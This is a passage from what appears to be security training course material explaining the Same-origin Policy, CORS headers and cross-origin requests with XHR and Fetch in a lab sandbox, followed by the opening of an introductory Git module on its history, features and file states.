URL: https:// www.offensive-security.com /blog/
Origin: https://www.offensive-security.com
Listing 1 - A sample URL
Our sample URL's protocol is HTTPS. Its domain is
www.offensive-security.com. The URL does not include an explicit
port number, so its origin uses the default port number of HTTPS
(443). Notice that the origin includes the entire domain name,
including the "www" subdomain, but does not include the path value
(/blog).
We can also use JavaScript to derive the origin of a URL. The
URL[678] object includes an origin[679]
property that returns the URL's origin.
Let's try it out. We'll need to open our web browser
and then open its JavaScript Console with +. We
can then declare a new URL object by typing u = new
URL("https://www.offensive-security.com/blog") and pressing
I. We can then check the URL's origin by typing u.origin
and pressing I.
The origin property returned https://www.offensive-security.com.
We can also read the origin[680] property on the
global scope after loading a web page. In our browser's JavaScript
console, calling self.origin is essentially the same as calling
window.origin. Both properties will return the origin of the
currently loaded web page.
Now that we understand origins, let's review the Same-origin Policy
(SOP).
The SOP is a protective mechanism that web browsers implement that
prevents resources loaded on one origin from accessing resources
loaded from a different origin. A resource can be an image, HTML,
data, JSON, etc.
Without the SOP, the web would be a much more dangerous place,
allowing any website we visit to read our emails, check our bank
balances, and view other information from our logged-in sessions.
Instead, SOP allows cross-origin requests, but blocks JavaScript
from accessing the results of the request. This might seem confusing
since plenty of websites have images, scripts, and other resources
loaded from third-party origins.
Let's consider an example in which https://foo.com/latest uses
JavaScript to access multiple resources. Some resources might be
on the same domain, but on a different page. Others might be on
a completely different domain. Not all these resources will
successfully load.
| URL | Result | Reason |
|---|---|---|
| https://foo.com/myInfo | Allowed | Same Origin |
| http://foo.com/users.json | Blocked | Different Scheme and Port |
| https://api.foo.com/info | Blocked | Different Domain |
| https://foo.com**:8443**/files | Blocked | Different Port |
| https://bar.com/analytics.js | Blocked | Different Domain |
Table 1 - Investigating SOP
In the examples listed in Table 1, all of the requests
would be sent, but the JavaScript on https://foo.com/latest
would not be able to read the response of those marked as "Blocked".
How do web pages embed images or other content from different domains?
SOP enforcement depends on the type of cross-origin request, which can
be divided into embeds, writes, and reads.
With the continued use of content delivery networks
(CDN),[681] embeds might be the most common type of
cross-origin interaction. Many web applications embed JavaScript
files, images, fonts, and videos from CDNs or other external domains.
It is important to note that embedding JavaScript in this way
effectively bypasses the SOP. In other words, the embedded JavaScript
code would be able to read the contents of the embedding page.
In other words, if we were to visit the example
https://bar.com/analytics.js directly, it could not
access the contents of https://foo.com/latest. However,
if https://foo.com/latest loads the contents of
https://bar.com/analytics.js with a <script> tag, the
JavaScript code would have access to the page contents.
Cross-origin writes are links, redirects, and form submissions. We
can think of writes as one-way traffic. One origin can initiate a
write to a different origin, but it cannot access the response. For
example, https://foo.com/latest can have a form that sends a
POST request to https://bar.com, but SOP will block JavaScript on
https://foo.com/latest from accessing the response. Accessing the
response would constitute a read interaction, which are all typically
blocked by SOP.
While this Learning Module focuses on SOP and CORS, it is worth
mentioning cross-site request forgery (CSRF)[682]
attacks, which exploit SOP allowing cross-origin writes. Attackers
use CSRF attacks to perform actions as the victim user. For example,
an attacker might embed a hidden form in a page that automatically
submits to perform some action, such as changing a password,
creating a new user, or otherwise manipulating the user's account and
application access.
CSRF vulnerabilities have become less common in recent years since
many frameworks include CSRF protections. Web applications can also
set the SameSite[683] attribute on cookies to indicate
how browsers should handle the cookies on cross-origin requests. If
a cookie has the SameSite attribute set to Lax, browsers will not
send the cookie on cross-origin requests.
CSRF attacks usually require victims to have an active, authenticated
session on the target site. If the browser doesn't send session
cookies on the CSRF request, the attack will typically fail. Most
browsers will default cookies to SameSite=Lax if no other SameSite
value is set.[684]
Web applications can use Cross-origin Resource Sharing to enable
cross-domain reads. We'll learn more about CORS in the next Learning
Unit.
Cross-origin Resource Sharing (CORS)
This Learning Unit covers the following Learning Objectives:
- Understand the basics of Cross-origin Resource Sharing
- Understand what headers are available on CORS requests
- Understand how web servers enable CORS
- Understand the basic security concerns of enabling CORS
In this Learning Unit, we will explore a web application with CORS
enabled and then review the different HTTP request methods and headers
used with CORS. We'll finish with a brief overview of some security
concerns to be aware of when deciding to enable CORS.
To follow along with this section, start the VM in the Resources
section at the bottom of this page. We need to create an entry in our
/etc/hosts file so that we can access the SOP and CORS Sandbox
VM at http://sop-cors-sandbox.
kali@kali:~$ sudo mousepad /etc/hosts
kali@kali:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.50.155 sop-cors-sandbox
Listing 2 - /etc/hosts entries
For now, we only need to start the SOP and CORS Sandbox machine listed
below and update /etc/hosts with the corresponding IP address on
our Kali machine before starting our work.
In its simplest terms, CORS instructs a browser to allow certain
origins to access resources from the server. It allows web
applications to intentionally loosen SOP restrictions on themselves by
specifying which external domains can access resources and how those
domains can access the resources. Web applications can enable CORS by
setting certain headers on server responses.
Remember, the SOP blocks JavaScript and our browsers from accessing
cross-origin resources, but it does not block the outgoing requests
for such resources. With CORS enabled on the remote server, JavaScript
running on the application initiating the request can then access the
response.
For example, to allow https://foo.com to load data from
https://api.foo.com, the API endpoint must have a CORS header
allowing the https://foo.com origin. If the API endpoint does
not enable CORS, then our browser will enforce the SOP and block
JavaScript from accessing the response.
Let's explore an example of CORS in the SOP and CORS Sandbox VM. The
VM has two web applications. One application runs on port 80 and the
other runs on port 8080. Let's start by browsing to the application on
port 80 at http://sop-cors-sandbox/.
This web page has two buttons. Both buttons will trigger JavaScript
code that will check our status in the secondary web application
running on port 8080. Our initial status is "unknown". Before we
do anything else, let's open our browser's development tools with
+ and then click Network so that we can inspect the
requests sent by this page.
Next, let's click the Refresh button.
The page sent a request to port 8080 and updated our status to
"Not logged in". We'll review request and response headers later in
this Learning Module. For now, we are just exploring the behavioral
differences between SOP and CORS. With that in mind, let's click the
Refresh without CORS button.
The page didn't change our status, but the Network tab shows the
request's status as blocked. If we switch to the Console tab, we get
a more verbose message.
The third error message states "The Same Origin Policy disallows
reading the remote resource...". Applications must explicitly enable
CORS to bypass the same-origin policy. Even though both applications
are running on the same domain, the applications have different
origins since they are running on different ports.
Let's clear the console output by clicking on the trash can icon in the
upper left corner of the Console tab and then switch back to the
Network tool.
Next, let's review an example of the page using CORS to access data
from a different origin. We'll open a new tab in our browser and
navigate to http://sop-cors-sandbox:8080/.
We can log in with the username "student" and the password "studentlab".
Once we are logged in, we can view today's secret code. Let's switch
back to the browser tab with the sandbox page and click the Refresh
button.
The CORS request returned an HTTP 200 response, and the page displayed
the secret code. This basic example illustrates how one origin (the
sandbox application on port 80) can access data from a different
origin that implements CORS (the application on port 8080). The
application on port 80 was able to read the responses of the CORS
requests sent to port 8080 and display the contents within the web
page. If the web application on port 80 contained any malicious
JavaScript code, that code would also be able to read the CORS
responses and exfiltrate the data or perform actions on behalf of the
user logged in to port 8080. We'll discuss the security implications of
CORS later in this Learning Unit.
While both applications in this example are running on the same host,
they have different origins. This example would be functionally the
same if the two applications were running on different servers.
In the upcoming sections, we'll review the HTTP methods and headers
that CORS uses.
To follow along with this section, start the VM in the Resources
section at the bottom of this page.
Before sending most cross-origin requests, the browser makes a
preflight request to the intended destination using the OPTIONS
HTTP method to determine if the requesting domain may perform the
requested action. All cross-origin requests, including the preflight
request, usually include an Origin[685] header with the
value of the domain initiating the request.
Let's review an example of a preflight request.
OPTIONS /example HTTP/1.1
Host: bar.com
Accept: text/html
Origin: foo.com
Listing 3 - Sample preflight request with headers
The preflight request uses the OPTIONS HTTP method and includes
an Origin header. This header informs the remote host what origin
initiated the request. In this example, the foo.com origin
initiated the request to the bar.com site. An OPTIONS request
does not include a body.
While our browser will automatically send preflight requests when
necessary, we can use other tools to send OPTIONS requests. This is
basically what the browser sends. Let's try sending an OPTIONS request
with curl.[686]
We'll specify -v to enable verbose mode, which will display
request and response headers in the output, set the OPTIONS method
with -X, and finally, our URL.
kali@kali:~$ curl -v -X OPTIONS http://sop-cors-sandbox/example
* Trying 192.168.50.155:80...
* Connected to sop-cors-sandbox (192.168.50.155) port 80 (#0)
> OPTIONS /example HTTP/1.1
> Host: sop-cors-sandbox
> User-Agent: curl/7.79.1
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Access-Control-Allow-Methods: GET,OPTIONS
< Access-Control-Allow-Origin: *
< Content-Length: 0
< Content-Type: text/html; charset=utf-8
< Date: Wed, 16 Nov 2022 21:10:32 GMT
< Server: waitress
<
* Connection #0 to host sop-cors-sandbox left intact
Listing 4 - Using curl to send an OPTIONS request
Lines that start with ">" in the output are the request. Curl sent an
OPTIONS request without an Origin header since we did not specify one.
Lines that start with "<" are the response. The response includes two
headers that start with Access-Control,[687] which
indicates the server supports CORS. We'll review the meaning of these
response headers in a later section.
Some cross-origin requests do not trigger a preflight request.
These are known as simple requests,[688]
which include standard GET, HEAD, and POST requests. Simple
requests must also use standard content-types, which include
application/x-www-form-urlencoded, multipart/form-data, and
text/plain, to avoid preflight requests. However, other request
methods, requests with custom HTTP headers, or POST requests with
nonstandard content-types, such as application/json, will require a
preflight request.
A preflight request can include additional CORS-related headers. We
will examine the common CORS request headers in the next section.
To follow along with this section, start the VM in the Resources
section at the bottom of this page.
Preflight and CORS requests can include additional headers besides the
Origin header. Let's review an example of an OPTIONS request with
two additional CORS headers.
OPTIONS /foo HTTP/1.1
Host: megacorpone.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Connection: keep-alive
Origin: https://offensive-security.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-UserId
Listing 5 - Example CORS preflight request
The Access-Control-Request-Method header indicates which HTTP method
the browser intends to send on the subsequent CORS request.
The Access-Control-Request-Headers indicates any headers the browser
might include on the subsequent CORS request.
Both headers can include a single value or a comma-separated list of
values.
The browser inspects the server's response to determine if it should
send the actual request.
If the request is a simple request (GET, HEAD, and POST with standard
content-types), the browser will send it with the appropriate CORS
headers without first sending a preflight request.
We can add headers to our requests in curl with the -H option
followed by the header and its value in double quotes. Let's try
sending an OPTIONS request to our sandbox VM with an Origin
header with the value "foo.bar". We'll also set -I so that curl
only displays the response headers. By default, setting -I will
send a HEAD request, so we'll need to set -X OPTIONS to send an
OPTIONS request.
If we wanted curl to output the response headers and the response
body, we would use -i or --include instead of -I.
kali@kali:~$ curl -I -X OPTIONS -H "Origin: foo.bar" http://sop-cors-sandbox/example
HTTP/1.1 200 OK
Access-Control-Allow-Methods: OPTIONS
Access-Control-Allow-Origin: foo.bar
Content-Length: 0
Content-Type: text/html; charset=utf-8
Date: Wed, 16 Nov 2022 21:35:18 GMT
Server: waitress
Listing 6 - Using curl to send an OPTIONS request with an Origin header
The application responded back with the Origin value we sent
in Access-Control-Allow-Origin. We'll explore several
Access-Control-Allow-Origin headers in the next section.
To follow along with this section, start the VM in the Resources
section at the bottom of this page. While the application is like the
examples in the previous section, it is configured differently.
Now that we know how to send an OPTIONS request, let's review an
example of how an application might respond. This example includes
four common CORS headers an application can set on a response.
HTTP/1.1 200 OK
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: https://foo.com
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: X-UserId
Cache-Control: no-cache
Content-Type: application/json
Connection: close
Content-Length: 15
{"status":"ok"}
Listing 7 - Sample HTTP resonse with CORS headers
The Access-Control-Allow-Origin[689] header
indicates which origins are allowed to access resources from the
server. A wildcard value (*) used in this header indicates any
origin can access the resource. Generally, servers should only use
this setting for resources that are considered publicly accessible.
The header can also specify a single origin. If an application needs
to allow multiple origins to access it, the application must contain
logic to respond with the appropriate domain.
The Access-Control-Allow-Credentials[690] header
indicates if the browser should include credentials, such as cookies
or authorization headers. The only valid value for this header
is "true". Instead of setting a "false" value, servers can simply
omit the header.
To set the Access-Control-Allow-Credentials value to "true",
the web application must set a non-wildcard value in the
Access-Control-Allow-Origin header.
However, the browser will enforce the SameSite attribute on
any cookies that it would send cross-origin, regardless of the
destination's CORS settings. In other words, if the cookie has
SameSite=Lax, the browser will not send it even if the preflight
request indicates that the destination server allows credentials on
CORS requests.
The Access-Control-Allow-Methods[691] header indicates
which HTTP methods cross-origin requests may use. The header value can
contain one or more methods in a comma-separated list. For example,
the following value indicates the server allows requests with GET,
POST, and OPTIONS methods:
Access-Control-Allow-Methods: GET, POST, OPTIONS
Listing 8 - Access-Control-Allow-Methods header and values
Similarly, Access-Control-Allow-Headers[692]
indicates which HTTP headers may be used on a cross-origin
request. The header value can contain one or more header names in a
comma-separated list. Browsers will consider some headers, such as
Content-Type, safe and therefore, always use them in cross-origin
requests.[693]
Servers must use the Access-Control-Allow-Headers header to allow
the authorization header or custom headers on CORS requests.
There are two other CORS headers that are less common.
Access-Control-Expose-Headers[694] indicates
which response headers JavaScript can access. This header is very
similar in concept to Access-Control-Allow-Headers, but only applies
to the response. It has its own list of safe headers that can always
be accessed by the calling application.[695]
These headers, such as Content-Type and Content-Length, don't
have additional meaning within CORS so we won't review them in this
Learning Module.
The Access-Control-Max-Age[696] header
indicates how long the browser should cache the results of a
preflight[697] request.
We can check response headers in several ways, such as using our
browser's network tool or using curl. Some servers will only respond
with CORS headers if the request includes an Origin header.
To follow along with this section, start the VM in the Resources
section at the bottom of this page.
Now that we have a better understanding of CORS and the headers it
uses, let's review another example. Our previous example in the SOP
and CORS Sandbox used JavaScript to send CORS requests. There are
other times that browsers will use CORS in certain situations when
JavaScript or CSS will interact with an image or font on a different
origin.
In the case of fonts, this only applies to the
@font-face[698] rule loading fonts from other origins.
Images and videos in tags are not subject to CORS. However,
CSS shapes[699] from images,[700]
WebGL textures, and drawing images or video to a canvas using
drawImage()[701] are all subject to CORS when loading
resources from other origins.
We can find an example of this in the SOP and CORS Sandbox. We'll
browse to the sandbox page at http://sop-cors-sandbox/ and then click
CSS Shapes in the navigation bar on the top of the page.
After we click the link, our browser will load a page that uses a CSS
shape from an image.
This page uses a CSS shape from an image to wrap the text around
the image based on where the image's transparency is. The page has two
buttons that allow us to load the shape information from a local image
or a remote image.
Let's inspect the page's source to understand how the page defines and
uses a CSS shape. We'll right-click on the page and then click View
Page Source. The page defines a CSS class on lines 11 - 18 and then
uses the class on an image on line 43.
11 <style>
12 .kali {
13 float: left;
14 shape-outside: url(/assets/images/kali.png);
15 shape-image-threshold: 0.5;
16 shape-margin: 20px;
17 }
18 </style>
...
43 <img src="/assets/images/kali.png" alt="Kali dragon" class="kali">
Listing 9 - Page source excerpts
The kali CSS class sets the shape-outside property with a local
URL on line 14. On line 43, the HTML declares an image element with
a local URL and the kali class. Since the shape-outside property
uses a local URL, CORS does not apply to the request.
Let's try the remote image option, but first we'll open our browser's
development tools with + and then click Network so that
we can inspect the requests sent by this page. Next, we'll click the
Shape with remote image button.
The text on the page no longer wraps around the image based on the
image's transparency. Instead, the text content aligns with the
image's right side.
In the Network pane, let's filter the requests for just images by
clicking on Images.
There are two requests for http://sop-cors-sandbox:8080/kali.png.
However, only one request returned a valid response. Our browser
blocked the other response because it did not include CORS headers.
Let's inspect the page source again to determine how it aligns to
these requests.
11 <style>
12 .kali {
13 float: left;
14 shape-outside: url(http://sop-cors-sandbox:8080/assets/images/kali.png);
15 shape-image-threshold: 0.5;
16 shape-margin: 20px;
17 }
18 </style>
...
43 <img src="http://sop-cors-sandbox:8080/assets/images/kali.png" alt="Kali dragon" class="kali">
Listing 10 - Page source excerpts with remote URLs
The shape-outside property on line 14 uses a cross-origin URL, as
does the image element on line 43. Browsers do not enforce CORS when
an image element loads an image from another origin. Our browser
still loaded the remote image and displayed it in the page. However,
browsers will enforce CORS on remote URLs with the shape-outside
property since the browser's CSS engine would modify the page's DOM
based on the image's content.
This example demonstrates how browsers require CORS on some resources
based on how a web page loads them.
Our sandbox application demonstrated how one application can access
data from a different application or origin that has CORS enabled.
By its very nature, CORS weakens or removes the protections of the
same-origin policy. Websites that enable CORS can leave themselves and
their users open to CSRF-style attacks if there are any weaknesses or
misconfigurations in the site's CORS settings.
When misconfigured, attackers can exploit CORS to perform actions in a
user's session through client-side attacks.
The Access-Control-Allow-Origin header can be particularly
problematic. As previously mentioned, this header can be set to a
wildcard or a single origin. If we want our application to trust more
than one origin, we must implement that logic in our application or
framework.
Trusting any origin by reflecting the Origin header from
the request effectively disables the SOP for all domains. This can
have disastrous implications as any origin could then issue requests
on behalf of the user and obtain the full responses.
WEB-200 and WEB-300 cover exploiting insecure CORS settings.
Sending Requests Between Origins
This Learning Unit covers the following Learning Objectives:
- Understand how to use XMLHttpRequest
- Understand how to use Fetch
Now that we understand SOP and have explored how applications enable
CORS, let's review a few ways to send cross-origin requests with
JavaScript.
To follow along with this section, start the VM in the Resources
section at the bottom of this page.
Although its name includes XML, the XMLHttpRequest
(XHR)[702] object can send HTTP requests of any data type.
We can find an example of this function in the SOP and CORS Sandbox at
http://sop-cors-sandbox/assets/scripts/sandbox.js starting on line 18.
18 function checkStatusXHR(withoutCors) {
19 let url = constructURL(withoutCors);
20
21 var xhr = new XMLHttpRequest();
22
23 xhr.onreadystatechange = function() {
24 if(xhr.readyState == 4) {
25 var res = JSON.parse(xhr.responseText);
26 if(res.status == "ok"){
27 $('#status').text(res.message + "\n" + res.code);
28 } else {
29 $('#status').text("Not logged in");
30 }
31 }
32 }
33 xhr.withCredentials = true
34 xhr.open("GET", url, true);
35 xhr.send();
36 }
Listing 11 - Source excerpt from sandbox.js
Line 21 creates a new instance of the XMLHttpRequest object. Lines 23
through 32 declare a function to handle the readystatechange event.
The event triggers whenever the readyState property changes, such as
when the object opens a connection, sends data, downloads data, or the
operation is complete. Once the operation is complete (readyState ==
4), the responseText property will contain the response.
Line 25 parses the response as JSON. Lines 26 through 30 update
the page based on the contents of the response. Line 33 sets the
withCredentials property to "true", which instructs the XHR
object to send cookies on the request. Line 34 calls the open()
method and passes in three parameters. These parameters are the
HTTP request method, the URL, and if the request should be handled
asynchronously.[703]
While we won't go into detail in this Learning Module, JavaScript
code can run synchronously or asynchronously. When running synchronous
code, each operation must complete before the next one executes.
Asynchronous code allows execution to continue while waiting for some
operations to complete.
Since the function sends the request asynchronously, the event handler
function on lines 23-32 is required to handle the HTTP response when
it is available. In other words, the xhr.onreadystatechange event
executes when there is a change in the xhr object. If the code
didn't include a function to handle the event, it couldn't do anything
with the response, such as update the page.
Finally, line 35 calls the send() method. As the name suggests, this
method sends the request to the server.
XHR will automatically handle preflight requests if necessary.
However, it will only attempt to send cookies cross-origin if the
withCredentials property is set to "true".
The Fetch[704] API is an interface for sending HTTP requests
like XHR, but is easier to work with and more flexible.
We can find an example of this function in the SOP and CORS Sandbox at
http://sop-cors-sandbox/assets/scripts/sandbox.js starting on line 1.
01 function checkStatusFetch(withoutCors) {
02 let url = constructURL(withoutCors);
03
04 fetch(url, {
05 method:'GET',
06 mode:'cors',
07 credentials:'include'
08 }).then(response => response.json())
09 .then((data) => {
10 if(data.status == "ok"){
11 $('#status').text(data.message + "\n" + data.code);
12 } else {
13 $('#status').text("Not logged in");
14 }
15 });
16 }
Listing 12 - Source excerpt from sandbox.js
Lines 4 through 8 call the fetch() method and pass in a URL and an
object containing custom settings (lines 5 through 7). Unlike the XHR
example, the code declares the request should be sent as CORS (line 6)
and that credentials (cookies) should be included (line 7). Developers
can use the custom settings object to configure many aspects of the
resulting HTTP request, such as the request method, arbitrary headers,
request body, and more.
The Fetch API returns a Promise[705] object and sends
requests asynchronously. A Promise represents a value that will
be known after an asynchronous operation completes or errors out. We
can think of Promise objects as placeholders. We know some value
will be returned, but we don't know what the value will be until
it is returned. In the case of the Fetch API, the Promise becomes
a Response[706] object once the remote server
responds. This code uses then()[707] functions and arrow
functions[708] to handle the Promise and Response
objects.
Once the Response object resolves, the first arrow function extracts
the response's JSON body with the json() method (line 8). The code
passes the JSON body to the next arrow function, which updates the
page's content based on the JSON values (lines 9-14).
Getting Started with Git
In this Learning Module, we will cover the following Learning Units:
- Why Git? Exploring Git history and features
- Git good: working with local and remote repositories
Imagine being part of a team of developers working on a coding
project. To keep in sync, each contributor has to email their code to
the other contributors at the end of each work day. The lead developer
takes everyone's contributions, updates the main code, and then sends
the latest update back to each contributor, so they can continue
coding the next day. To say the least, this method of collaboration
is extremely inefficient but not too far from reality when we examine
history.
Enter Git, a distributed version
control[709] software that is
used by thousands of companies, developers, and other software
platforms.[710] We can use Git to collaborate on projects in
a very efficient manner.
If you're unfamiliar with version control, it's software that
allows for easy tracking and management of changes to documents.
It's commonly used in software development but is also finding
its way into other areas where tracking updates, comments, and
fostering collaboration are useful. Version control is used in
fields beyond software development including education, science,
documentation, and many others.
In this module, we will explore Git's background and its impact on the
computing world. We will walk through numerous commands and exercises,
increasing our proficiency with Git. This module is best followed
by Git Branching and Merging, as some aspects covered here will be
expanded upon in that module.
Why Git? Exploring Git History and Features
This Learning Unit covers the following Learning Objectives:
- Understanding Git features
- Expanding on the importance of version control
- Reviewing technical characteristics and terms
Before we explore the features and technical characteristics of Git,
let's put ourselves in the shoes of the Git developer so we can better
understand why the need evolved and the importance behind Git's
features. If you're not interested in its history, feel free to skip
to the last paragraph for a summary.
Git was developed out of necessity when a version control solution
was needed for the development of Linux.[711] For years, Linus
Torvalds[712] and other developers collaborated on
Linux in a similar fashion to the one mentioned in the introduction.
Initially, they used Usenet newsgroups,[713] before
migrating to mailing lists.[714] Due to major
downsides of Concurrent Versions System[715] (CVS) and Apache
Subversion,[716] two popular version control systems
available at the time, Linus decided against using them.
However, Linus gave into pressure from other contributors and decided
to go with BitKeeper.[717] Due to his heavy involvement
in the open source community and support of free software, this
decision surprised many developers. BitKeeper was owned by Larry
McVoy,[718] one of the earliest Linux contributors,
and the software was a closed source commercial product. Although
criticized by fellow developers, Linus used BitKeeper until 2005.
Due to a breach of the terms and conditions, issues arose between
Larry McVoy and Andrew Tridgell,[719]. Andrew
was another Linux contributor and the initial developer of
Samba.[720] Linus was not able to resolve the tension and
ended the contract between Linux and BitKeeper. Linus decided to
take matters into his own hands and created his own version control
software.
On Thursday, April 3rd, 2005, Linus began developing
Git,[721] and worked feverishly for three days until he
publicly announced it on April 6th. The next day, he self-hosted
Git and submitted the first commit of Git source code on
the platform.[722] For the next week, he
primarily focused on developing Git.[723] Eventually,
the project was handed over to another developer, Junio
Hamano.[724]^,[725]^,[726]^,[727]^,[728]^,[729]^,[730]
Since then, Git has grown and has been implemented by many
developers. Its popularity primarily grew due to the fact that Git
is a distributed version control[709-1]
software. This means the collection of code and its history
is copied from the server to every client (developer machine).
This feature, among others, revolutionized version control and
the workflow of software development. Its free and open source
software[731] was inspired by its creator Linus
and his background in creating Linux and supporting free software
licenses.
Now that we have a deeper understanding of how Git came to be, let's
discuss its major features.
Internally, Git is fairly complex software. However, it is designed
to be very user-friendly. It is packed with features that make it
very flexible and efficient. Git was created as a distributed system,
supporting non-linear development. This results in simultaneous and
independent working spaces connected through a central repository.
It was favored by many companies not just because it's packed with
features, but also the fact that it is free and open source. Finally,
its compatibility and redundancy capabilities makes it a strong
competitor as a Version Control System (VCS).
Let's explore a few of Git's more well known features.
Although Git can be used across a variety of industries, we'll focus
here on its use in software development.
Git creates a collaborative workspace for remote developers. As a
distributed system, they can download a local copy of their work from
a repository (commonly referred to as a repo) on the Git server and
work independently on their own copy, even if they aren't connected.
Then, they can update the central repository, and other developers can
update their own local repository. Developers can work simultaneously,
pushing their local changes to the central repository. Unlike a
centralized version, this has a higher chance of creating conflicts.
However, Git addresses potential issues through features that we'll
discuss later.
Compared to linear development, where one developer works on one
project, Git encourages non-linear development. Multiple developers
can work on the same project at the same time, increasing efficiency
and reducing the timeline of a project. Git maintains a history of
all changes. When changes from a local repository are combined
and integrated into the main repository, the history of changes is
also combined. This feature supports Git's non-linear development.
Git is licensed under the GNU General Public License[732]
(GPL). This means the source code is not only available to the public,
but also allows users to freely modify it. The source code can be
copied locally from the main repository[733] and altered
to fit a team's specific requirements.
Git is compatible with multiple operating systems and other control
systems. For example, if we have a Git client that requires us to
mirror a Subversion repository (or vice-versa), Git supports this
specifically by using the git svn command.
Git is a very efficient version control system. For example, because
Git is a distributed system, a copy of the project from the remote
repository is made locally. As developers, from that point forward
(until the next update from the remote repository is requested), we
can work with the local copy. From a network traffic perspective, Git
does not require a constant (or continual back and forth) connection
as we work. We access the files from our local repository and make
changes as needed. Only when necessary, we update our local repository
to mirror the central repository. Unlike a centralized system, there
is no back-and-forth network traffic between the client and the
server. This allows us to make changes at a much faster pace (and we
can do it without the need for internet).
Git is also very scalable. It supports thousands of users working on
the same project at the same time. Because each user has their own
local copy of the project, a large volume of users does not negatively
impact the overall speed or performance of the workflow. Additionally,
Git compresses the data from the remote repository, making it
lightweight. By storing it as compressed objects locally, this further
increases the speed by which we access the data and transfer it back
and forth.
Git is very reliable. From a high level overview, Git maintains
robust logs, and it tracks files and folders by hashing them using
a SHA-1 hash and verifies their integrity using a checksum. This
method provides a seamless way to track changes and updates between
repositories. The changes are recorded in the history, which is also
mirrored to every client. Every client can view the project history
and the changes that were made by the rest of the team.
Lastly, Git offers redundancy. If the main repository becomes
unreachable or corrupt, developers can clone the data from other
client repositories. Essentially, as more developers actively work
on the same project, they provide increased redundancy. Although
redundancy is advantageous from an operational perspective, it can
be interpreted as a risk from a security perspective. More copies of
the project mean a larger footprint, giving adversaries additional
opportunities to gain unauthorized access.
In this section we've outlined a few of Git's more popular features.
Its ability to track different versions is very important to better
understanding Git. Let's explore this further in the next section.
Git's decentralized version control feature is the key to making it
so powerful, fast, and efficient. In this section, we will explore
this aspect further to have a more technical understanding of how Git
tracks changes.
Before unpacking the distributed system, let's review some of the
disadvantages of a centralized system. Within a centralized system,
the client has to communicate with the server on a nearly constant
basis. If the developer wants to interact with the objects within
the repository, like viewing the history log or even just coding,
the client has to communicate with the server. Contrast that to
Git where the remote repository is copied to the local machine.
Once copied, the developer can interact with the objects within the
repository, like in a centralized system. However, the difference is
the fact that the repository exists locally. Therefore, there's no
need for a constant connection between the client and the server. With
Git, the only instances where the client would need to communicate
with the server would be something like updating the local or remote
repository. Because of the continuous back and forth network traffic
requirement within a centralized system, this can slow down the
development process. Or worse, if the main repository is unreachable,
this can completely halt the development process.
Also, a centralized system includes the process of checking out
a working copy. Depending on how the system is configured, checking
out a file to edit can lock it. This prevents other developers from
making changes to the file until it is unlocked. Developers can make
changes locally, but must address conflicts if the working copy is
updated. That process can be cumbersome depending on the situation.
Decentralized systems allow for concurrent work on the same file.
Those are some of the main disadvantages that a decentralized system
addresses. Next, let's explore how Git implements version control as a
decentralized system.
There are two main ways that version control systems implement version
control. One way is called delta-based,[734] which
tracks changes by listing and storing the files and directories that
were changed. The second way is snapshot-based,[735]
which is how Git implements version control. Using this method, Git
makes a copy of the repository state, which includes the files and
directories, and creates a reference. This copy is more commonly known
as a snapshot. These snapshots are one of primary ways Git differs
from its competitors. In turn, this feature creates other benefits,
like branching and stashing, which we will cover in depth in the
Git Branching and Merging Learning Module.
In the next section, we'll discuss how Git leverages snapshots and
tracks data. We'll also explore relevant technical characteristics
like data structures, objects, hashes, and references.
In this section, we will analyze the inner workings
of Git. Our recommended prerequisites for this module
include the basic understanding of concepts like data
structures,[736] objects (OOP),[737]
databases,[738] programming,[739] and
cryptography.[740]
We'll begin by outlining some abstract concepts, like the overall
process and Git objects. Then, we'll supplement that by walking
through some commands in order to better visualize exactly how Git
works.
In Git, developers add files and data to a Git repository, where it
is moved through three states: working directory (or working for
short), staged, and committed.[735-1] The best way to
describe this process is with a simple example.
Let's assume that we have a file on our local machine we want to
organize, track, and collaborate on with other developers. We'll
first create an empty Git repository and inform the other developers,
giving them rights to collaborate on the project. When we first create
our file in the local repository, the remote repository and other
developers have no knowledge of it, yet.
Version one of the file begins in the working directory state,
more specifically labelled as untracked. This means the local
Git repository is not tracking that file from a version control
perspective. In other words, Git is not comparing the versions of the
file from one snapshot to another.
Once we are finished with our modification of the file, we will
add it to the staged state. By adding a file to the staged state,
it will remove it from the working directory state. At this point,
Git officially tracks the files within its index data structure.
However, Git isn't yet ready to copy these files from the local
repository to the remote repository.
The final state is the committed state. In this state, we inform Git
that we intend to update the remote repository with the files within
our committed state. In the background, Git takes the files in their
current version from the staged state and creates a snapshot.
Now, the file is moved back to the working directory state, but it
is labelled an unmodified file. This means the file existed in the
previous snapshot, but it has not been modified since. If we were
to make a change, Git would compare the new version of the file, or
version two, to the previous version, or version one, within the last
snapshot and identify a difference. At this point, the file would be
considered a modified file within the working directory state. A
modified file means that the file has been altered when compared to
a previous snapshot. By default, unmodified and modified files are
also considered as tracked files to differentiate when compared to
untracked files. We can take version two of this file and stage and
commit it. Once we commit it, version two of this file will be under a
new snapshot that Git creates.
Git maintains these commits or snapshots within a database-like
structure. Although it is referred to as a database, it isn't
a traditional database that we may be familiar with, like SQL.
However, the way objects and files are stored and references are in a
database-like fashion.
Once we are ready to copy our local file that we created and modified
to the remote server, we will initiate a push. This copies the
snapshot to the remote repository, where other developers can now
pull it to their local repository.
As we add, remove, and/or modify files, this process of moving the
files versions from one state to the next is how Git tracks different
versions of files.
That's a high level view of how the process works.
Now, let's dig into the details of this example.
We began by creating a Git repository. When we created local files,
they were on our machine, in our working directory (or working tree)
state. These new files (or changes to existing files) exist outside
of Git's version control system (VCS). For modified files, the system
recognizes that the file has been updated since the previous version.
When we stage the files, Git tracks them on a more specific basis.
In technical terms, the staged state relies on a mutable index
(changeable index) that marks files or folders that are ready to be
committed.[741]
Finally, when we committed the files (moving them to a committed
state), Git began tracking them and created a snapshot of the state
of that file. Git recognizes this version of the file as the HEAD or
the most current branch.
Don't forget that even though you've committed your changes, they
will not be visible to others or posted to the remote server until you
perform a push operation.
This committed state is fairly complex, so let's break down some of
the details. A Git repository is essentially a collection of objects,
